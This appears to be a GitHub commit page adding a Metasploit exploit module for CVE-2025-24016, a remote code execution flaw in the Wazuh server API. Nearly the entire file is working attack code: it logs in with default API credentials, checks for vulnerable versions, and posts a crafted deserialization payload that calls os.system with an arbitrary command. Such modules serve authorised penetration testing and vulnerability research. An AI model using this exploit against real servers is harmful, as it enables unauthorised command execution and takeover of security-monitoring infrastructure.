Skip to content

Commit f6e0c43

Browse files
committed
init module
1 parent 04c7945 commit f6e0c43

File tree

1 file changed

+149
-0
lines changed

1 file changed

+149
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
17+
'Description' => %q{
18+
Wazuh is a free and open source platform used for threat prevention, detection, and response.
19+
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
20+
allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized
21+
as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
22+
If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
23+
forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
24+
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
25+
servers in the cluster) or, in certain configurations, even by a compromised agent.
26+
},
27+
'Author' => [
28+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module & default password weakness
29+
'DanielFi https://github.com/DanielFi', # Discovery
30+
],
31+
'References' => [
32+
['CVE', '2025-24016'],
33+
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
34+
['URL', 'https://attackerkb.com/topics/xxx/cve-2025-24016']
35+
],
36+
'License' => MSF_LICENSE,
37+
'Platform' => ['unix', 'linux'],
38+
'Privileged' => false,
39+
'Arch' => [ARCH_CMD],
40+
'Targets' => [
41+
[
42+
'Unix/Linux Command',
43+
{
44+
'Platform' => ['unix', 'linux'],
45+
'Arch' => ARCH_CMD,
46+
'Type' => :unix_cmd
47+
}
48+
]
49+
],
50+
'DefaultTarget' => 0,
51+
'DisclosureDate' => '2025-02-10',
52+
'DefaultOptions' => {
53+
'SSL' => true,
54+
'RPORT' => 55000
55+
},
56+
'Notes' => {
57+
'Stability' => [CRASH_SAFE],
58+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
59+
'Reliability' => [REPEATABLE_SESSION]
60+
}
61+
)
62+
)
63+
register_options([
64+
OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
65+
OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
66+
OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
67+
])
68+
end
69+
70+
# get Wazuh API token
71+
# return token if API login is successful else nil
72+
def get_api_token
73+
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
74+
basic_auth = "Basic #{auth}"
75+
res = send_request_cgi({
76+
'method' => 'POST',
77+
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
78+
'headers' => {
79+
'Authorization' => basic_auth.to_s
80+
}
81+
})
82+
return unless res&.code == 200 && res.body.include?('token')
83+
84+
res_json = res.get_json_document
85+
res_json['data']['token'] unless res_json.blank?
86+
end
87+
88+
# get the Wazuh version
89+
# return version if successful else nil
90+
def get_wazuh_version(api_token)
91+
api_auth = "Bearer #{api_token}"
92+
res = send_request_cgi({
93+
'method' => 'GET',
94+
'uri' => normalize_uri(target_uri.path),
95+
'headers' => {
96+
'Authorization' => api_auth.to_s
97+
}
98+
})
99+
return unless res&.code == 200 && res.body.include?('api_version')
100+
101+
res_json = res.get_json_document
102+
res_json['data']['api_version'] unless res_json.blank?
103+
end
104+
105+
# CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
106+
def execute_command(cmd, _opts = {})
107+
# {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
108+
post_data = {
109+
__unhandled_exc__:
110+
{
111+
__class__: 'os.system',
112+
__args__: [ cmd.to_s ]
113+
}
114+
}.to_json
115+
116+
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
117+
basic_auth = "Basic #{auth}"
118+
send_request_cgi({
119+
'method' => 'POST',
120+
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
121+
'ctype' => 'application/json',
122+
'headers' => {
123+
'Authorization' => basic_auth.to_s
124+
},
125+
'data' => post_data.to_s
126+
})
127+
end
128+
129+
def check
130+
# check Wazuh API access with the API credentials
131+
api_token = get_api_token
132+
return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
133+
134+
version = get_wazuh_version(api_token)
135+
return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
136+
137+
version = Rex::Version.new(version)
138+
unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
139+
return CheckCode::Safe("Wazuh version #{version}")
140+
end
141+
142+
CheckCode::Appears("Wazuh version #{version}")
143+
end
144+
145+
def exploit
146+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
147+
execute_command(payload.encoded)
148+
end
149+
end

0 commit comments

Comments
 (0)